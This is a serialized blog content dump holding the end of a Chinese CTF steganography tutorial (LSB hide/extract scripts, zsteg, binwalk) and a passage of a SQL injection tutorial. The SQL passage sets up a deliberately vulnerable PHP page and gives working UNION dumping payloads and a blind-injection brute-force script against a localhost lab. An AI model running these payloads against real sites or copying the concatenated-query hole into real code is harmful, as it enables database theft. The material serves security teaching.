修改后的像素放入新列表。\n",[40,4776,4777],{"class":42,"line":235},[40,4778,59],{"emptyLinePlaceholder":58},[40,4780,4781],{"class":42,"line":241},[40,4782,4783],{},"img.putdata(new_pixels)\n",[40,4785,4786],{"class":42,"line":247},[40,4787,4788],{},"# putdata()：把新像素列表写回图片对象。\n",[40,4790,4791],{"class":42,"line":253},[40,4792,4793],{},"img.save('hidden.png')\n",[40,4795,4796],{"class":42,"line":259},[40,4797,4798],{},"# save()：按扩展名格式保存为 PNG 文件。\n",[40,4800,4802],{"class":42,"line":4801},38,[40,4803,4804],{},"print(\"已生成 hidden.png\")\n",[15,4806,4807,4810,4811,4814,4815,4818],{},[26,4808,4809],{},"r & 0xfe"," 把最低位清零（",[26,4812,4813],{},"0xfe = 11111110","），",[26,4816,4817],{},"| bit"," 写入目标比特。",[355,4820,4822],{"id":4821},"_53-提取解题视角","5.3 提取（解题视角）",[15,4824,4825,4827],{},[333,4826,335],{},"：把像素最低位收集起来，按 8 位一组还原成字节，得到隐藏消息。",[15,4829,4830,4832],{},[333,4831,341],{},"：读取所有像素 → 依次取 R、G、B 的最低位 → 每 8 个比特拼成一个字节 → 遇到 0 结束。",[31,4834,4836],{"className":841,"code":4835,"language":843,"meta":36,"style":36},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open(path)：打开图片文件。\n# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移一位再或上新比特，等价于二进制拼接。\n        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符，到此停止。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串按 UTF-8 解码成字符串显示。\n",[26,4837,4838,4842,4846,4851,4856,4861,4866,4871,4876,4881,4886,4890,4895,4900,4905,4910,4915,4920,4925,4930,4935,4940,4944,4949,4953,4958],{"__ignoreMap":36},[40,4839,4840],{"class":42,"line":43},[40,4841,4624],{},[40,4843,4844],{"class":42,"line":49},[40,4845,59],{"emptyLinePlaceholder":58},[40,4847,4848],{"class":42,"line":55},[40,4849,4850],{},"img = Image.open('hidden.png').convert('RGB')\n",[40,4852,4853],{"class":42,"line":62},[40,4854,4855],{},"# Image.open(path)：打开图片文件。\n",[40,4857,4858],{"class":42,"line":68},[40,4859,4860],{},"# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\n",[40,4862,4863],{"class":42,"line":74},[40,4864,4865],{},"bits = []\n",[40,4867,4868],{"class":42,"line":80},[40,4869,4870],{},"for r, g, b in img.getdata():\n",[40,4872,4873],{"class":42,"line":86},[40,4874,4875],{},"    bits += [r & 1, g & 1, b & 1]\n",[40,4877,4878],{"class":42,"line":92},[40,4879,4880],{},"    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n",[40,4882,4883],{"class":42,"line":98},[40,4884,4885],{},"    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n",[40,4887,4888],{"class":42,"line":104},[40,4889,59],{"emptyLinePlaceholder":58},[40,4891,4892],{"class":42,"line":110},[40,4893,4894],{},"data = bytearray()\n",[40,4896,4897],{"class":42,"line":116},[40,4898,4899],{},"for i in range(0, len(bits) - 7, 8):\n",[40,4901,4902],{"class":42,"line":122},[40,4903,4904],{},"    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n",[40,4906,4907],{"class":42,"line":128},[40,4908,4909],{},"    byte = 0\n",[40,4911,4912],{"class":42,"line":134},[40,4913,4914],{},"    for bit in bits[i:i+8]:\n",[40,4916,4917],{"class":42,"line":140},[40,4918,4919],{},"        byte = (byte \u003C\u003C 1) | bit\n",[40,4921,4922],{"class":42,"line":146},[40,4923,4924],{},"        # 左移一位再或上新比特，等价于二进制拼接。\n",[40,4926,4927],{"class":42,"line":152},[40,4928,4929],{},"        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n",[40,4931,4932],{"class":42,"line":158},[40,4933,4934],{},"    if byte == 0:\n",[40,4936,4937],{"class":42,"line":164},[40,4938,4939],{},"        # 字节 0 是隐藏时追加的结束符，到此停止。\n",[40,4941,4942],{"class":42,"line":170},[40,4943,3646],{},[40,4945,4946],{"class":42,"line":176},[40,4947,4948],{},"    data.append(byte)\n",[40,4950,4951],{"class":42,"line":182},[40,4952,59],{"emptyLinePlaceholder":58},[40,4954,4955],{"class":42,"line":187},[40,4956,4957],{},"print(data.decode())\n",[40,4959,4960],{"class":42,"line":193},[40,4961,4962],{},"# decode()：字节串按 UTF-8 解码成字符串显示。\n",[15,4964,923],{},[31,4966,4969],{"className":4967,"code":4968,"language":380,"meta":36},[378],"flag{lsb_steganography}\n",[26,4970,4968],{"__ignoreMap":36},[355,4972,4974],{"id":4973},"_54-现成工具","5.4 现成工具",[31,4976,4978],{"className":267,"code":4977,"language":269,"meta":36,"style":36},"gem install zsteg\nzsteg -a hidden.png\n",[26,4979,4980,4990],{"__ignoreMap":36},[40,4981,4982,4985,4987],{"class":42,"line":43},[40,4983,4984],{"class":276},"gem",[40,4986,645],{"class":284},[40,4988,4989],{"class":284}," zsteg\n",[40,4991,4992,4995,4998],{"class":42,"line":49},[40,4993,4994],{"class":276},"zsteg",[40,4996,4997],{"class":280}," -a",[40,4999,4383],{"class":284},[15,5001,5002,5005],{},[26,5003,5004],{},"-a"," 全自动检测各种 LSB 变体。",[10,5007,2055],{"id":2054},[955,5009,5010,5020],{},[958,5011,5012],{},[961,5013,5014,5016,5018],{},[964,5015,966],{},[964,5017,969],{},[964,5019,972],{},[974,5021,5022,5034,5047,5063],{},[961,5023,5024,5026,5029],{},[979,5025,368],{},[979,5027,5028],{},"看类型、看编码、看无后缀文件",[979,5030,5031],{},[26,5032,5033],{},"file flag",[961,5035,5036,5039,5042],{},[979,5037,5038],{},"xxd / hexdump",[979,5040,5041],{},"查看文件头、指定长度",[979,5043,5044],{},[26,5045,5046],{},"xxd -l 16 flag.png",[961,5048,5049,5051,5054],{},[979,5050,344],{},[979,5052,5053],{},"提取字符串、指定长度、管道过滤",[979,5055,5056,1013,5059,1013,5061],{},[26,5057,5058],{},"strings flag.png",[26,5060,2097],{},[26,5062,2100],{},[961,5064,5065,5067,5070],{},[979,5066,4532],{},[979,5068,5069],{},"扫描、提取",[979,5071,5072,1013,5075],{},[26,5073,5074],{},"binwalk flag.png",[26,5076,5077],{},"binwalk -e flag.png",[10,5079,5081],{"id":5080},"七小-ctf-实战藏了-flag-的-png","七、小 CTF 实战：藏了 flag 的 PNG",[15,5083,2149,5084,307],{},[26,5085,5086],{},"flag.png",[15,5088,5089],{},"第一步：",[31,5091,5093],{"className":267,"code":5092,"language":269,"meta":36,"style":36},"file flag.png\n",[26,5094,5095],{"__ignoreMap":36},[40,5096,5097,5099],{"class":42,"line":43},[40,5098,368],{"class":276},[40,5100,4535],{"class":284},[15,5102,303,5103,307],{},[26,5104,5105],{},"PNG image data",[15,5107,5108],{},"第二步：",[31,5110,5111],{"className":267,"code":4494,"language":269,"meta":36,"style":36},[26,5112,5113],{"__ignoreMap":36},[40,5114,5115,5117,5119,5121,5123,5125],{"class":42,"line":43},[40,5116,344],{"class":276},[40,5118,4411],{"class":284},[40,5120,493],{"class":492},[40,5122,496],{"class":276},[40,5124,4509],{"class":280},[40,5126,4512],{"class":284},[15,5128,5129],{},"无输出。",[15,5131,5132],{},"第三步：",[31,5134,5135],{"className":267,"code":4525,"language":269,"meta":36,"style":36},[26,5136,5137],{"__ignoreMap":36},[40,5138,5139,5141],{"class":42,"line":43},[40,5140,4532],{"class":276},[40,5142,4535],{"class":284},[15,5144,5145],{},"无隐藏文件。",[15,5147,5148],{},"第四步：怀疑 LSB，运行提取脚本，输出：",[31,5150,5152],{"className":5151,"code":4968,"language":380,"meta":36},[378],[26,5153,4968],{"__ignoreMap":36},[10,5155,2333],{"id":2332},[15,5157,5158,5159,5161,5162,2138,5164,5166],{},"Misc 入门三板斧：",[26,5160,368],{}," 看类型、",[26,5163,344],{},[26,5165,4532],{}," 排除简单情况、LSB 脚本提数据。音频隐写（Audacity 频谱图）、ZIP 伪加密、USB 流量分析在《隐写与取证深入实战》中完整展开。",[1098,5168,5169],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":36,"searchDepth":49,"depth":49,"links":5171},[5172,5173,5174,5175,5176,5177,5178,5179],{"id":4244,"depth":55,"text":4245},{"id":1195,"depth":55,"text":1196},{"id":4356,"depth":55,"text":4357},{"id":4518,"depth":55,"text":4519},{"id":4588,"depth":55,"text":4589},{"id":2054,"depth":55,"text":2055},{"id":5080,"depth":55,"text":5081},{"id":2332,"depth":55,"text":2333},"杂项三板斧：file/xxd 识别文件头、binwalk 提取隐藏文件、Python 实现 LSB 隐写的隐藏与提取。",{"date":1115,"image":5182,"alt":5183,"tags":5184,"published":58},"/blogs-img/blog4.png","CTF Misc 入门",[1119,5185],"misc","/blogs/ctf-misc-overview",{"title":4239,"description":5180},"blogs/13. ctf-misc-overview","XI4JQUKrJS4uak8Rm3ioTk2L2WukeCdhI54Ldj4FkRo",{"id":5191,"title":5192,"body":5193,"description":6582,"extension":1113,"meta":6583,"navigation":58,"ogImage":6584,"path":6589,"seo":6590,"stem":6591,"__hash__":6592},"content/blogs/14. ctf-web-sql-injection-deep-dive.md","SQL 注入深入实战：判断、UNION 拖库、盲注与防御",{"type":7,"value":5194,"toc":6571},[5195,5199,5202,5219,5229,5240,5247,5251,5255,5288,5294,5298,5301,5336,5341,5389,5395,5401,5405,5414,5419,5423,5428,5447,5449,5455,5459,5464,5480,5483,5489,5496,5500,5516,5522,5526,5542,5545,5559,5563,5568,5573,5580,5584,5592,5641,5644,5648,5656,5672,5678,5682,5698,5702,5706,5722,5727,5731,5747,5751,5766,5770,5786,5791,5797,5801,5806,5809,5813,5829,5834,5850,5855,5858,5867,6004,6007,6013,6017,6024,6040,6043,6047,6052,6056,6061,6084,6086,6092,6096,6116,6121,6125,6157,6164,6168,6212,6221,6228,6232,6237,6243,6413,6415,6427,6429,6435,6438,6559,6561,6568],[10,5196,5198],{"id":5197},"一现实背景sql-是怎么被拼出来的","一、现实背景：SQL 是怎么被拼出来的",[15,5200,5201],{},"普通程序员的查询代码：",[31,5203,5207],{"className":5204,"code":5205,"language":5206,"meta":36,"style":36},"language-php shiki shiki-themes dracula","$id = $_GET['id'];\n$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n","php",[26,5208,5209,5214],{"__ignoreMap":36},[40,5210,5211],{"class":42,"line":43},[40,5212,5213],{},"$id = $_GET['id'];\n",[40,5215,5216],{"class":42,"line":49},[40,5217,5218],{},"$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n",[15,5220,5221,5224,5225,5228],{},[26,5222,5223],{},"$id"," 被直接拼进 SQL 字符串。当 ",[26,5226,5227],{},"id=1 OR 1=1"," 时：",[31,5230,5234],{"className":5231,"code":5232,"language":5233,"meta":36,"style":36},"language-sql shiki shiki-themes dracula","SELECT id, title FROM articles WHERE id = 1 OR 1=1\n","sql",[26,5235,5236],{"__ignoreMap":36},[40,5237,5238],{"class":42,"line":43},[40,5239,5232],{},[15,5241,5242,5243,5246],{},"恒真，返回全表。",[333,5244,5245],{},"用户输入从\"数据\"变成了\"代码\"","，这就是 SQL 注入。",[10,5248,5250],{"id":5249},"二环境搭建二选一","二、环境搭建（二选一）",[355,5252,5254],{"id":5253},"方式-asqli-labs-靶场","方式 A：sqli-labs 靶场",[31,5256,5258],{"className":267,"code":5257,"language":269,"meta":36,"style":36},"git clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000\n",[26,5259,5260,5271,5278],{"__ignoreMap":36},[40,5261,5262,5265,5268],{"class":42,"line":43},[40,5263,5264],{"class":276},"git",[40,5266,5267],{"class":284}," clone",[40,5269,5270],{"class":284}," https://github.com/Audi-1/sqli-labs.git\n",[40,5272,5273,5275],{"class":42,"line":49},[40,5274,687],{"class":686},[40,5276,5277],{"class":284}," sqli-labs\n",[40,5279,5280,5282,5285],{"class":42,"line":55},[40,5281,5206],{"class":276},[40,5283,5284],{"class":280}," -S",[40,5286,5287],{"class":284}," 127.0.0.1:8000\n",[15,5289,5290,5291,307],{},"浏览器访问，点 \"Setup/reset Database\"，之后打 ",[26,5292,5293],{},"Less-1",[355,5295,5297],{"id":5296},"方式-b自建漏洞页本文以此讲解","方式 B：自建漏洞页（本文以此讲解）",[15,5299,5300],{},"数据库：",[31,5302,5304],{"className":5231,"code":5303,"language":5233,"meta":36,"style":36},"CREATE DATABASE ctf;\nUSE ctf;\nCREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag VARCHAR(100));\nINSERT INTO flag VALUES ('flag{sql_injection}');\n",[26,5305,5306,5311,5316,5321,5326,5331],{"__ignoreMap":36},[40,5307,5308],{"class":42,"line":43},[40,5309,5310],{},"CREATE DATABASE ctf;\n",[40,5312,5313],{"class":42,"line":49},[40,5314,5315],{},"USE ctf;\n",[40,5317,5318],{"class":42,"line":55},[40,5319,5320],{},"CREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\n",[40,5322,5323],{"class":42,"line":62},[40,5324,5325],{},"INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\n",[40,5327,5328],{"class":42,"line":68},[40,5329,5330],{},"CREATE TABLE flag (flag VARCHAR(100));\n",[40,5332,5333],{"class":42,"line":74},[40,5334,5335],{},"INSERT INTO flag VALUES ('flag{sql_injection}');\n",[15,5337,5338,29],{},[26,5339,5340],{},"vuln.php",[31,5342,5344],{"className":5204,"code":5343,"language":5206,"meta":36,"style":36},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n$id = $_GET['id'];\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n$result = $conn->query($sql);\nwhile ($row = $result->fetch_assoc()) {\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n}\n?>\n",[26,5345,5346,5351,5356,5360,5365,5370,5375,5380,5384],{"__ignoreMap":36},[40,5347,5348],{"class":42,"line":43},[40,5349,5350],{},"\u003C?php\n",[40,5352,5353],{"class":42,"line":49},[40,5354,5355],{},"$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n",[40,5357,5358],{"class":42,"line":55},[40,5359,5213],{},[40,5361,5362],{"class":42,"line":62},[40,5363,5364],{},"$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n",[40,5366,5367],{"class":42,"line":68},[40,5368,5369],{},"$result = $conn->query($sql);\n",[40,5371,5372],{"class":42,"line":74},[40,5373,5374],{},"while ($row = $result->fetch_assoc()) {\n",[40,5376,5377],{"class":42,"line":80},[40,5378,5379],{},"    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n",[40,5381,5382],{"class":42,"line":86},[40,5383,179],{},[40,5385,5386],{"class":42,"line":92},[40,5387,5388],{},"?>\n",[15,5390,5391,5392,307],{},"启动：",[26,5393,5394],{},"php -S 127.0.0.1:8000",[5396,5397,5398],"blockquote",{},[15,5399,5400],{},"说明：如果你的电脑不方便装 PHP+MySQL，可以跳过本节，用\"附录\"里的 Python+SQLite 模拟程序跑通同样的注入过程，原理完全一致。",[10,5402,5404],{"id":5403},"三核心步骤-1注入点判断","三、核心步骤 1：注入点判断",[15,5406,5407,5409,5410,5413],{},[333,5408,335],{},"：确认参数 ",[26,5411,5412],{},"id"," 能影响 SQL 逻辑，避免在非注入点上浪费时间。",[15,5415,5416,5418],{},[333,5417,341],{},"：用\"会破坏语法\"的单引号和\"改变查询条件\"的 AND 表达式做探测。单引号报错、恒真正常、恒假为空，三者齐备即确认。",[355,5420,5422],{"id":5421},"请求-1正常请求","请求 1：正常请求",[15,5424,5425,5427],{},[333,5426,335],{},"：记录正常响应的样子，作为后续对比的基线。",[31,5429,5431],{"className":267,"code":5430,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=1\"\n",[26,5432,5433],{"__ignoreMap":36},[40,5434,5435,5438,5441,5444],{"class":42,"line":43},[40,5436,5437],{"class":276},"curl",[40,5439,5440],{"class":505}," \"",[40,5442,5443],{"class":284},"http://127.0.0.1:8000/vuln.php?id=1",[40,5445,5446],{"class":505},"\"\n",[15,5448,423],{},[31,5450,5453],{"className":5451,"code":5452,"language":380,"meta":36},[378],"1 hello world\n",[26,5454,5452],{"__ignoreMap":36},[355,5456,5458],{"id":5457},"请求-2单引号","请求 2：单引号",[15,5460,5461,5463],{},[333,5462,335],{},"：判断输入是否被拼进 SQL。拼进去了，单引号就会破坏语法。",[31,5465,5467],{"className":267,"code":5466,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n",[26,5468,5469],{"__ignoreMap":36},[40,5470,5471,5473,5475,5478],{"class":42,"line":43},[40,5472,5437],{"class":276},[40,5474,5440],{"class":505},[40,5476,5477],{"class":284},"http://127.0.0.1:8000/vuln.php?id=1'",[40,5479,5446],{"class":505},[15,5481,5482],{},"预期输出（报错）：",[31,5484,5487],{"className":5485,"code":5486,"language":380,"meta":36},[378],"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...\n",[26,5488,5486],{"__ignoreMap":36},[15,5490,5491,5492,5495],{},"原因：语句变成 ",[26,5493,5494],{},"WHERE id = 1'","，单引号未闭合。",[355,5497,5499],{"id":5498},"请求-3and-11","请求 3：AND 1=1",[31,5501,5503],{"className":267,"code":5502,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n",[26,5504,5505],{"__ignoreMap":36},[40,5506,5507,5509,5511,5514],{"class":42,"line":43},[40,5508,5437],{"class":276},[40,5510,5440],{"class":505},[40,5512,5513],{"class":284},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1",[40,5515,5446],{"class":505},[15,5517,423,5518,5521],{},[26,5519,5520],{},"1 hello world","（条件真）。",[355,5523,5525],{"id":5524},"请求-4and-12","请求 4：AND 1=2",[31,5527,5529],{"className":267,"code":5528,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n",[26,5530,5531],{"__ignoreMap":36},[40,5532,5533,5535,5537,5540],{"class":42,"line":43},[40,5534,5437],{"class":276},[40,5536,5440],{"class":505},[40,5538,5539],{"class":284},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2",[40,5541,5446],{"class":505},[15,5543,5544],{},"预期输出：空（条件假）。",[15,5546,5547,5550,5551,5554,5555,5558],{},[333,5548,5549],{},"判定","：单引号报错 + ",[26,5552,5553],{},"1=1"," 正常 + ",[26,5556,5557],{},"1=2"," 为空 → 注入点确认。",[10,5560,5562],{"id":5561},"四核心步骤-2union-注入五步拖库","四、核心步骤 2：UNION 注入五步拖库",[15,5564,5565,5567],{},[333,5566,335],{},"：把数据库里的表和数据\"借\" UNION 查询显示到页面上。",[15,5569,5570,5572],{},[333,5571,341],{},"：UNION 合并两个查询，但要求列数一致；先把第一个查询置空（id=-1），再用回显列依次输出库名、表名、列名、数据。每一步都是下一步的前提：不知道库名就筛不出表，不知道表名就查不了列。",[15,5574,5575,5576,5579],{},"前提：第一个查询返回空（用 ",[26,5577,5578],{},"id=-1","），UNION 两个查询列数相同。",[355,5581,5583],{"id":5582},"第-1-步确定列数","第 1 步：确定列数",[15,5585,5586,29,5588,5591],{},[333,5587,341],{},[26,5589,5590],{},"ORDER BY N"," 按第 N 列排序，N 超过实际列数时报错。从 1 试到报错为止，报错前的 N 就是列数。",[31,5593,5595],{"className":267,"code":5594,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4\"\n",[26,5596,5597,5608,5619,5630],{"__ignoreMap":36},[40,5598,5599,5601,5603,5606],{"class":42,"line":43},[40,5600,5437],{"class":276},[40,5602,5440],{"class":505},[40,5604,5605],{"class":284},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1",[40,5607,5446],{"class":505},[40,5609,5610,5612,5614,5617],{"class":42,"line":49},[40,5611,5437],{"class":276},[40,5613,5440],{"class":505},[40,5615,5616],{"class":284},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2",[40,5618,5446],{"class":505},[40,5620,5621,5623,5625,5628],{"class":42,"line":55},[40,5622,5437],{"class":276},[40,5624,5440],{"class":505},[40,5626,5627],{"class":284},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3",[40,5629,5446],{"class":505},[40,5631,5632,5634,5636,5639],{"class":42,"line":62},[40,5633,5437],{"class":276},[40,5635,5440],{"class":505},[40,5637,5638],{"class":284},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4",[40,5640,5446],{"class":505},[15,5642,5643],{},"前三条正常，第四条报错 → 共 3 列。",[355,5645,5647],{"id":5646},"第-2-步确认回显位","第 2 步：确认回显位",[15,5649,5650,29,5652,5655],{},[333,5651,341],{},[26,5653,5654],{},"SELECT 1,2,3"," 的数字会显示在页面上，显示的哪个数字对应哪一列，哪一列就能用来输出数据。",[31,5657,5659],{"className":267,"code":5658,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n",[26,5660,5661],{"__ignoreMap":36},[40,5662,5663,5665,5667,5670],{"class":42,"line":43},[40,5664,5437],{"class":276},[40,5666,5440],{"class":505},[40,5668,5669],{"class":284},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+",[40,5671,5446],{"class":505},[15,5673,423,5674,5677],{},[26,5675,5676],{},"2 3","。第 2、3 列内容会显示，作为后续输出位置。",[355,5679,5681],{"id":5680},"第-3-步查数据库名","第 3 步：查数据库名",[31,5683,5685],{"className":267,"code":5684,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n",[26,5686,5687],{"__ignoreMap":36},[40,5688,5689,5691,5693,5696],{"class":42,"line":43},[40,5690,5437],{"class":276},[40,5692,5440],{"class":505},[40,5694,5695],{"class":284},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+",[40,5697,5446],{"class":505},[15,5699,423,5700,307],{},[26,5701,1119],{},[355,5703,5705],{"id":5704},"第-4-步查表名","第 4 步：查表名",[31,5707,5709],{"className":267,"code":5708,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n",[26,5710,5711],{"__ignoreMap":36},[40,5712,5713,5715,5717,5720],{"class":42,"line":43},[40,5714,5437],{"class":276},[40,5716,5440],{"class":505},[40,5718,5719],{"class":284},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+",[40,5721,5446],{"class":505},[15,5723,423,5724,307],{},[26,5725,5726],{},"articles,flag,users",[355,5728,5730],{"id":5729},"第-5-步查列名","第 5 步：查列名",[31,5732,5734],{"className":267,"code":5733,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+\"\n",[26,5735,5736],{"__ignoreMap":36},[40,5737,5738,5740,5742,5745],{"class":42,"line":43},[40,5739,5437],{"class":276},[40,5741,5440],{"class":505},[40,5743,5744],{"class":284},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+",[40,5746,5446],{"class":505},[15,5748,423,5749,307],{},[26,5750,3281],{},[15,5752,5753,5756,5757,5759,5760,5762,5763,5765],{},[333,5754,5755],{},"说明","：如果第 4 步看到多个表，比如 ",[26,5758,5726],{},"，优先怀疑 ",[26,5761,3281],{}," 表；列名可能不是 ",[26,5764,3281],{},"，需要本步用 information_schema.columns 确认。",[355,5767,5769],{"id":5768},"第-6-步拿数据","第 6 步：拿数据",[31,5771,5773],{"className":267,"code":5772,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n",[26,5774,5775],{"__ignoreMap":36},[40,5776,5777,5779,5781,5784],{"class":42,"line":43},[40,5778,5437],{"class":276},[40,5780,5440],{"class":505},[40,5782,5783],{"class":284},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+",[40,5785,5446],{"class":505},[15,5787,423,5788,307],{},[26,5789,5790],{},"flag{sql_injection}",[15,5792,5793,5796],{},[333,5794,5795],{},"验证","：若第 6 步报错，通常是列名猜错，回到第 5 步把列名抄准再试。",[10,5798,5800],{"id":5799},"五核心步骤-3盲注页面不回显时","五、核心步骤 3：盲注（页面不回显时）",[15,5802,5803,5805],{},[333,5804,335],{},"：当页面既不显示查询结果也不报错时，把数据库当\"是与否\"的问答机，逐字符问出数据。",[15,5807,5808],{},"当页面不显示查询结果也不报错时，只能用\"是与否\"推断数据。",[355,5810,5812],{"id":5811},"_51-布尔盲注","5.1 布尔盲注",[31,5814,5816],{"className":267,"code":5815,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+\"\n",[26,5817,5818],{"__ignoreMap":36},[40,5819,5820,5822,5824,5827],{"class":42,"line":43},[40,5821,5437],{"class":276},[40,5823,5440],{"class":505},[40,5825,5826],{"class":284},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+",[40,5828,5446],{"class":505},[15,5830,5831,5832,307],{},"正常 → 库名第一个字符是 ",[26,5833,35],{},[31,5835,5837],{"className":267,"code":5836,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+\"\n",[26,5838,5839],{"__ignoreMap":36},[40,5840,5841,5843,5845,5848],{"class":42,"line":43},[40,5842,5437],{"class":276},[40,5844,5440],{"class":505},[40,5846,5847],{"class":284},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+",[40,5849,5446],{"class":505},[15,5851,5852,5853,307],{},"为空 → 不是 ",[26,5854,3474],{},[15,5856,5857],{},"自动化脚本：",[15,5859,5860,5862,5863,5866],{},[333,5861,341],{},"：对 flag 的每个位置，逐个尝试字符，问\"这一位是不是 ch\"；页面出现正常特征（如 ",[26,5864,5865],{},"hello","）就说明猜对，把字符记下再问下一位。",[31,5868,5870],{"className":841,"code":5869,"language":843,"meta":36,"style":36},"import requests, string\n# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n\nurl = \"http://127.0.0.1:8000/vuln.php\"\nresult = \"\"          # 保存已确认的 flag 片段\n\nfor pos in range(1, 50):\n    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n    found = False\n    for ch in string.printable:\n        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n        r = requests.get(url, params={\"id\": payload})\n        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n        # r.text：响应正文。\n        if \"hello\" in r.text:\n            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n            result += ch\n            print(result)\n            found = True\n            break\n    if not found or result.endswith('}'):\n        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n        break\nprint(\"flag:\", 